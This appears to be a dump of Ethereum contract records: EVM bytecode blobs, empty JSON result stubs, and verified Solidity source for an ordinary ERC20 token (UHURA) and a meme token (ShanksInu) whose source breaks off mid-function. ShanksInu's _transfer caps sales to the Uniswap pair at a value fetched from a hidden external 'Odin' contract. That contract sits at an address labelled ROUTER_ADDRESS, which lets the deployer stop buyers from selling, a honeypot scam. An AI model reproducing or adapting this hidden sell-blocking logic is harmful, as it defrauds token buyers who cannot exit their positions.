65b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea2646970667358221220c31123f6d7d87104a1da4e740181e281ea4ac103a2a5009a6867e6382a53944c64736f6c63430008040033
{"success": true, "error": null, "results": {}}
8,385
0x31e8b00409d2f14c1f3bf55c54c9db1224cb0124
/** *Submitted for verification at Etherscan.io on 2021-04-07 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'HAILING FREQUENCIES OPEN' token contract // // Symbol : UHURA // Name : HAILING FREQUENCIES OPEN // Total supply: 100 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract UHURA is BurnableToken { string public constant name = "HAILING FREQUENCIES OPEN"; string public constant symbol = "UHURA"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280601881526020017f4841494c494e47204652455155454e43494553204f50454e000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a620186a00281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f554855524100000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea26469706673582212201139f8cc0eea6404e251ddb5d70bde49ba6afc55e0b77ab55f1066fd3ca21cf964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,386
0xF54029FC255C2d3fAF7Fd2F03d1Ed4636cDBe835
//SPDX-License-Identifier: MIT // Telegram: t.me/shanksinu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=4000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Shanks Inu"; string constant TOKEN_SYMBOL="SHANKS"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShanksInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; 